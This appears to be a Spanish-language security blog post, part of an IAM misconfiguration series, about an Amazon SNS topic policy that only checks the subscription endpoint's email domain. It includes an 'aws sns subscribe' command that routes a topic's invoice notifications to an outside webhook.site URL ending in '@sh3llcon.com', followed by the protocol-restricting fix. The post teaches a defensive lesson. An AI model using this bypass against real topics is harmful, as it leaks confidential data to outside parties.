IAM policy mishaps: Case 2 - SNS
Creíais que nos habíamos olvidado de la serie de IAM? Pues es correcto, perdón por el retraso, pero aquí estamos de vuelta.
Hoy vamos a hablar sobre el servicio Amazon Simple Notification Service (SNS).
Info
Recuerda que si quieres probar directamente los ejemplos que vamos presentando echa un vistazo a nuestro repo .
Os hemos dejado preparados los diferentes escenarios en Terraform .
Si es tu primera vez por aquí, puedes echar un ojo a los primeros posts de la serie, IAM policy mishaps: Intro to IAM y IAM policy mishaps: Case 1 - S3, en caso de que no lo hayas hecho aún.
Ahora si, hablemos de Cloud .
El servicio de SNS (Simple Notification Service), uno de los servicios más viejos de AWS, nos permite enviar mensajes desde los editores (productores) a los suscriptores (consumidores). Los publicadores se comunican de forma asíncrona con los suscriptores mediante el envío mensajes a un tema, que es un punto de acceso lógico y un canal de comunicación1.
Una vez presentados 🤝, vamos con los escenarios.
Escenario 1
Objetivo: Suscribirnos a las notificaciones del bucket de facturas. Solo para usuarios de la organización, en este caso usuarios con el dominio @sh3llcon.com
.
Cada vez que se suba una factura recibiremos una notificación con su respectivo importe y concepto.
Sabéis que somos grandes seguidores de la Infra as Code, pero para este caso vamos a crear el topic de SNS desde la consola de AWS:
-
Como solo queremos usuarios de nuestra organización, modificamos la access policy usando el propio asistente de la consola:
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*" // (1)!
},
"Action": "SNS:Subscribe", // (2)!
"Resource": "arn:aws:sns:us-west-2:012345678912:sh3llcon-invoices", // (3)!
"Condition": {
"StringLike": {
"SNS:Endpoint": "*@sh3llcon.com" // (4)!
}
}
}
- Permitiremos cualquier principal (puesto que estaremos fuera de AWS).
- La acción de suscribirse.
- El recurso es nuestro propio topic.
- La condición de que el endpoint acabe en nuestro dominio
Vale, parece que está todo correcto, no? Bueno, probemos una cosa... 😈
Vamos a crear un webhook en webhook.site y vamos a probar esto:
aws sns subscribe --topic-arn arn:aws:sns:us-west-2:012345678912:sh3llcon-invoices \
--protocol https \
--notification-endpoint https://webhook.site/b85fef26-6b98-40ad-988f-aa33aa33aa3/@sh3llcon.com
Vaya...
Parece que hemos recibido el mensaje para confirmar la suscripción en nuestro webhook:
Pues parece que acabamos teniendo acceso a la info de las facturas. Y sin necesidad de usar un correo de la organización.
Y os preguntareis: pero si hemos usado el asistente de la consola para crear el topic y la policy, como es posible?
Bueno, pues... 🤷🏻♂️
Como podemos solucionar este problema? Fácil, usando el sns:Protocol
:
{
"Statement": [{
"Effect": "Allow",
"Action": ["sns:Subscribe"],
"Resource": "*",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@example.com"
},
"StringEquals": {
"sns:Protocol": "email" //(1)!
}
}
}]
}
- El
sns:Protocol
es un parámetro que permite especificar cómo se va a enviar la notificación. En este caso, estamos permitiendo solo las suscripciones por correo electrónico (email
). Esto significa que si alguien intenta suscribirse usando otro protocolo (como SMS o SQS), su solicitud será rechazada.
Lo más divertido de esta solución es que está sacada de la propia documentación de AWS.
Conclusión
Creo que la conclusión de hoy es bastante clara:
Confía, pero verifica.
AWS nos proporciona herramientas para mejorar nuestra seguridad, pero, como hemos visto en este caso, confiar ciegamente en los asistentes o configuraciones por defecto puede llevarnos a sorpresas inesperadas. Es fundamental revisar, probar y validar que nuestras políticas de IAM funcionan exactamente como esperamos.
Por eso, aunque podemos confiar en AWS para ayudarnos a implementar seguridad, es nuestra responsabilidad asegurarnos de que realmente está protegiendo nuestros recursos como queremos.
Saludos, y que la fuerza os acompañe.